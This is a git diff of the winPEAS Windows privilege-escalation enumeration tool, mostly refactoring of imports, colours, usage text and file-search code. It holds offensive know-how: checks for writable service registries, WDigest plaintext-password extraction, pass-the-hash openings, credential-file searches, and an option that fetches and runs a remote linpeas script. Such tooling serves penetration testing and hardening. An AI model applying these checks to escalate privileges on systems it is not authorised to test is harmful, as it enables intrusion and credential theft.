Beaprint.MainPrint("Looking if you can modify any service registry"); Beaprint.MainPrint("Looking if you can modify any service registry");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs); List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
Dictionary<string, string> colorsWR = new Dictionary<string, string>() Dictionary<string, string> colorsWR = new Dictionary<string, string>()
{ {

View File

@@ -5,21 +5,21 @@ using System.Linq;
using System.Reflection; using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using winPEAS._3rdParty.Watson;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.AppLocker; using winPEAS.Helpers.AppLocker;
using winPEAS._3rdParty.Watson;
using winPEAS.Info.SystemInfo.Printers;
using winPEAS.Info.SystemInfo.NamedPipes;
using winPEAS.Info.SystemInfo;
using winPEAS.Info.SystemInfo.SysMon;
using winPEAS.Helpers.Extensions; using winPEAS.Helpers.Extensions;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.SystemInfo;
using winPEAS.Info.SystemInfo.AuditPolicies; using winPEAS.Info.SystemInfo.AuditPolicies;
using winPEAS.Info.SystemInfo.DotNet; using winPEAS.Info.SystemInfo.DotNet;
using winPEAS.Info.SystemInfo.GroupPolicy; using winPEAS.Info.SystemInfo.GroupPolicy;
using winPEAS.Info.SystemInfo.WindowsDefender; using winPEAS.Info.SystemInfo.NamedPipes;
using winPEAS.Info.SystemInfo.PowerShell;
using winPEAS.Info.SystemInfo.Ntlm; using winPEAS.Info.SystemInfo.Ntlm;
using winPEAS.Info.SystemInfo.PowerShell;
using winPEAS.Info.SystemInfo.Printers;
using winPEAS.Info.SystemInfo.SysMon;
using winPEAS.Info.SystemInfo.WindowsDefender;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
namespace winPEAS.Checks namespace winPEAS.Checks
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
{ Globals.StrTrue, Beaprint.ansi_color_bad }, { Globals.StrTrue, Beaprint.ansi_color_bad },
}; };
Beaprint.DictPrint(basicDictSystem, colorsSI, false); Beaprint.DictPrint(basicDictSystem, colorsSI, false);
System.Console.WriteLine(); Console.WriteLine();
Watson.FindVulns(); Watson.FindVulns();
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function) //To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
@@ -369,12 +369,12 @@ namespace winPEAS.Checks
if (lsaCfgFlags == "1") if (lsaCfgFlags == "1")
{ {
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator)."); Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock"); Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
} }
else if (lsaCfgFlags == "2") else if (lsaCfgFlags == "2")
{ {
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator)."); Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock"); Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
} }
else else
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
else if (using_HKLM_WSUS == "0") else if (using_HKLM_WSUS == "0")
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!"); Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
else else
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not"); Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
} }
else else
{ {
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
} }
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte")) else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
{ {
val = System.BitConverter.ToString((byte[])kvp.Value); val = BitConverter.ToString((byte[])kvp.Value);
} }
else else
{ {
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!"); Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
} }
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1") if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
{ {
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily."); Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
} }
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0") if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
{ {
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system."); Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
} }
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
{ {
try try
{ {
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" ); Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
var infos = GroupPolicy.GetLocalGroupPolicyInfos(); var infos = GroupPolicy.GetLocalGroupPolicyInfos();

View File

@@ -1,8 +1,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Extensions; using winPEAS.Helpers.Extensions;
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("RDP Sessions"); Beaprint.MainPrint("RDP Sessions");
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions(); List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
if (rdp_sessions.Count > 0) if (rdp_sessions.Count > 0)
{ {
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}"; string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Password Policies"); Beaprint.MainPrint("Password Policies");
Beaprint.LinkPrint("", "Check for a possible brute-force"); Beaprint.LinkPrint("", "Check for a possible brute-force");
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy(); List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
Beaprint.DictPrint(PPy, ColorsU(), false); Beaprint.DictPrint(PPy, ColorsU(), false);
} }
catch (Exception ex) catch (Exception ex)
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
foreach (var logonSession in logonSessions) foreach (var logonSession in logonSessions)
{ {
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" + Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
$" Logon Server: {logonSession.LogonServer}\n" + $" Logon Server: {logonSession.LogonServer}\n" +
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" + $" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
$" Logon Id: {logonSession.LogonId}\n" + $" Logon Id: {logonSession.LogonId}\n" +
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
if (User32.GetLastInputInfo(ref lastInputInfo)) if (User32.GetLastInputInfo(ref lastInputInfo))
{ {
var currentUser = WindowsIdentity.GetCurrent().Name; var currentUser = WindowsIdentity.GetCurrent().Name;
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time; var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds); var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms"; var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime(); lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
} }
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" + Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
$" User Name : {localUser.name}\n" + $" User Name : {localUser.name}\n" +
$" User Id : {localUser.user_id}\n" + $" User Id : {localUser.user_id}\n" +
$" Is Enabled : {enabled}\n" + $" Is Enabled : {enabled}\n" +

View File

@@ -307,7 +307,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Looking AppCmd.exe"); Beaprint.MainPrint("Looking AppCmd.exe");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe");
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe"); var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");

View File

@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
var color = GetColorBySid(filePublisherRule.UserOrGroupSid); var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color); Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
Beaprint.GoodPrint($" Conditions"); Beaprint.GoodPrint($" Conditions");
@@ -153,7 +153,7 @@ namespace winPEAS.Helpers.AppLocker
var color = GetColorBySid(filePathRule.UserOrGroupSid); var color = GetColorBySid(filePathRule.UserOrGroupSid);
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color); Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
Beaprint.GoodPrint($" Conditions"); Beaprint.GoodPrint($" Conditions");
@@ -327,6 +327,8 @@ namespace winPEAS.Helpers.AppLocker
if (depth == FolderCheckMaxDepth) return false; if (depth == FolderCheckMaxDepth) return false;
try try
{
if (Directory.Exists(path))
{ {
var subfolders = Directory.EnumerateDirectories(path); var subfolders = Directory.EnumerateDirectories(path);
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly); var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
@@ -363,6 +365,7 @@ namespace winPEAS.Helpers.AppLocker
return true; return true;
} }
} }
}
catch (Exception) catch (Exception)
{ {
} }

View File

@@ -1,7 +1,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -83,7 +82,7 @@ namespace winPEAS.Helpers
| {1}Do you like PEASS?{0} | | {1}Do you like PEASS?{0} |
|---------------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} | | {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} | | {3}Follow on Twitter{0} : {2}@hacktricks_live{0} |
| {3}Respect on HTB{0} : {2}SirBroccoli {0} | | {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|---------------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| {1}Thank you!{0} | | {1}Thank you!{0} |
@@ -99,13 +98,13 @@ namespace winPEAS.Helpers
PrintBanner(); PrintBanner();
} }
Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @carlospolopm" + NOCOLOR); Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @hacktricks_live" + NOCOLOR);
PrintMarketingBanner(); PrintMarketingBanner();
PrintLegend(); PrintLegend();
Console.WriteLine(); Console.WriteLine();
LinkPrint("https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:"); Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
} }
static void PrintLegend() static void PrintLegend()
@@ -122,29 +121,31 @@ namespace winPEAS.Helpers
public static void PrintUsage() public static void PrintUsage()
{ {
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR); Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
Console.WriteLine(LBLUE + " domain" + GRAY + " Enumerate domain information" + NOCOLOR); Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR); Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR); Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR);
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR); Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR); Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR); Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR); Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR); Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR); Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR); Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
Console.WriteLine(LBLUE + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR); Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR); Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
Console.WriteLine(LBLUE + " quiet" + GRAY + " Do not print banner" + NOCOLOR); Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR); Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
Console.WriteLine(LBLUE + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR); Console.WriteLine(LCYAN + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR); Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR); Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
Console.WriteLine(LBLUE + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR); Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
Console.WriteLine(LCYAN + " Additional checks (slower):"); Console.WriteLine(GREEN + " Additional checks (slower):");
Console.WriteLine(LBLUE + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR); Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
Console.WriteLine(LBLUE + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" + Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR); $" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
} }
@@ -213,9 +214,18 @@ namespace winPEAS.Helpers
Console.WriteLine(DGRAY + to_print + NOCOLOR); Console.WriteLine(DGRAY + to_print + NOCOLOR);
} }
public static void LongPathWarning(string path)
{
if (!Checks.Checks.WarningIsLongPath)
{
GrayPrint($"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)");
Checks.Checks.WarningIsLongPath = true;
}
}
internal static void PrintDebugLine(string log) internal static void PrintDebugLine(string log)
{ {
Console.WriteLine(YELLOW + " [Debug] " + log + NOCOLOR); Console.WriteLine(DGRAY + " [Debug] " + log + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
} }

View File

@@ -4,7 +4,6 @@ using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security; using System.Security;
using System.Security.Permissions; using System.Security.Permissions;
using System.Text;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;

View File

@@ -1,9 +1,9 @@
using System; using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Linq; using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
using winPEAS.Native; using winPEAS.Native;
namespace winPEAS.Helpers.CredentialManager namespace winPEAS.Helpers.CredentialManager

View File

@@ -1,5 +1,4 @@
using System; using System;
using System.Runtime.InteropServices;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;

View File

@@ -1,11 +1,9 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text; using System.Text;
using System.Threading.Tasks;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
{ {
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT); string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
if (perm != null && perm.Length> 0) if (perm != null && perm.Length > 0)
{ {
vulnHandler.isVuln = true; vulnHandler.isVuln = true;
vulnHandler.reason = perm; vulnHandler.reason = perm;
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
// Get the owner of a process given the PID // Get the owner of a process given the PID
public static Dictionary<string, string> GetProcU(Process p) public static Dictionary<string, string> GetProcU(Process p)
{ {
Dictionary<string, string> data = new Dictionary<string, string>(); Dictionary<string, string> data = new Dictionary<string, string>
data["name"] = ""; {
data["sid"] = ""; ["name"] = "",
["sid"] = ""
};
IntPtr pHandle = IntPtr.Zero; IntPtr pHandle = IntPtr.Zero;
try try
{ {
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO(); PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
Process proc = Process.GetProcessById(pid); Process proc = Process.GetProcessById(pid);
Dictionary<string,string> user = GetProcU(proc); Dictionary<string, string> user = GetProcU(proc);
StringBuilder fileName = new StringBuilder(2000); StringBuilder fileName = new StringBuilder(2000);
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000); Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
{ // This shouldn't be needed { // This shouldn't be needed
if (path.StartsWith("\\")) if (path.StartsWith("\\"))
path = path.Substring(1); path = path.Substring(1);
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path); hive = Registry.RegistryHelper.CheckIfExists(path);
} }
if (path.StartsWith("\\")) if (path.StartsWith("\\"))

View File

@@ -1,5 +1,4 @@
using System; using System.Diagnostics;
using System.Diagnostics;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {

View File

@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
} }
//Check if rundll32 //Check if rundll32
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None); string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
if (binaryPathdll32.Length > 1) if (binaryPathdll32.Length > 1)
{ {
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
return strOutput; return strOutput;
} }
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"}; private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
public static string ConvertBytesToHumanReadable(double number, int precision = 2) public static string ConvertBytesToHumanReadable(double number, int precision = 2)
{ {

View File

@@ -1,11 +1,11 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Security.AccessControl; using System.Security.AccessControl;
using System.Security.Principal; using System.Security.Principal;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -353,6 +353,8 @@ namespace winPEAS.Helpers
{ {
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs)); results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
if (string.IsNullOrEmpty(results[path])) if (string.IsNullOrEmpty(results[path]))
{
if (Directory.Exists(path))
{ {
foreach (string d in Directory.EnumerateDirectories(path)) foreach (string d in Directory.EnumerateDirectories(path))
{ {
@@ -365,6 +367,7 @@ namespace winPEAS.Helpers
} }
} }
} }
}
catch catch
{ {
//Access denied to a path //Access denied to a path

View File

@@ -1,7 +1,7 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
using Microsoft.Win32;
namespace winPEAS.Helpers.Registry namespace winPEAS.Helpers.Registry
{ {
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
internal static uint? GetDwordValue(string hive, string key, string val) internal static uint? GetDwordValue(string hive, string key, string val)
{ {
string strValue = RegistryHelper.GetRegValue(hive, key, val); string strValue = GetRegValue(hive, key, val);
if (uint.TryParse(strValue, out uint res)) if (uint.TryParse(strValue, out uint res))
{ {

View File

@@ -5,6 +5,8 @@ using System.IO;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading.Tasks; using System.Threading.Tasks;
using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo;
using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo;
namespace winPEAS.Helpers.Search namespace winPEAS.Helpers.Search
{ {
@@ -39,12 +41,131 @@ namespace winPEAS.Helpers.Search
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp", ".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
}; };
//public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
//{
// ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
// IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
// IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
// IList<string> known_dirs = new List<string>();
// if (excludedDirs != null)
// {
// foreach (var startDir in startDirs)
// {
// bool shouldAdd = true;
// string startDirLower = startDir.FullName.ToLower();
// shouldAdd = !excludedDirs.Contains(startDirLower);
// if (shouldAdd)
// {
// startDirsExcluded.Add(startDir);
// }
// }
// }
// else
// {
// startDirsExcluded = startDirs.ToList();
// }
// Parallel.ForEach(startDirsExcluded, (d) =>
// {
// Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) =>
// {
// GetFiles(dir.FullName, pattern).ForEach(
// (f) =>
// {
// if (!StaticExtensions.Contains(f.Extension.ToLower()))
// {
// // It should always be lesss than 260, but some times it isn't so this will bypass that file
// //if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
// //{
// CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
// files.Add(file_info);
// CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
// if (!known_dirs.Contains(file_dir.FullPath))
// {
// known_dirs.Add(file_dir.FullPath);
// files.Add(file_dir);
// }
// //}
// //else if (f.FullName.Length > 260)
// //Beaprint.LongPathWarning(f.FullName);
// }
// }
// );
// });
// });
// return files.ToList();
//}
//private static List<FileInfo> GetFiles(string folder, string pattern = "*")
//{
// DirectoryInfo dirInfo;
// DirectoryInfo[] directories;
// try
// {
// dirInfo = new DirectoryInfo(folder);
// directories = dirInfo.GetDirectories();
// if (directories.Length == 0)
// {
// return new List<FileInfo>(dirInfo.GetFiles(pattern));
// }
// }
// catch (UnauthorizedAccessException)
// {
// return new List<FileInfo>();
// }
// catch (PathTooLongException)
// {
// return new List<FileInfo>();
// }
// catch (DirectoryNotFoundException)
// {
// return new List<FileInfo>();
// }
// catch (Exception)
// {
// return new List<FileInfo>();
// }
// List<FileInfo> result = new List<FileInfo>();
// foreach (var d in directories)
// {
// result.AddRange(GetFiles(d.FullName, pattern));
// }
// try
// {
// result.AddRange(dirInfo.GetFiles(pattern));
// }
// catch (UnauthorizedAccessException)
// {
// }
// catch (PathTooLongException)
// {
// }
// catch (DirectoryNotFoundException)
// {
// }
// catch (Exception)
// {
// }
// return result;
//}
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false) public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
{ {
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>(); ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded); IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>(); IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
IList<string> known_dirs = new List<string>(); ConcurrentDictionary<string, byte> known_dirs = new ConcurrentDictionary<string, byte>();
if (excludedDirs != null) if (excludedDirs != null)
{ {
@@ -68,35 +189,27 @@ namespace winPEAS.Helpers.Search
Parallel.ForEach(startDirsExcluded, (d) => Parallel.ForEach(startDirsExcluded, (d) =>
{ {
Parallel.ForEach(GetStartDirectories(d.FullName, files, pattern, isFoldersIncluded), (dir) => var foundFiles = GetFiles(d.FullName, pattern);
foreach (var f in foundFiles)
{ {
GetFiles(dir.FullName, pattern).ForEach( if (f != null && !StaticExtensions.Contains(f.Extension.ToLower()))
(f) =>
{
if (!StaticExtensions.Contains(f.Extension.ToLower()))
{
// It should always be lesss than 260, but some times it isn't so this will bypass that file
if (f.FullName.Length <= 260)
{ {
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false); CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
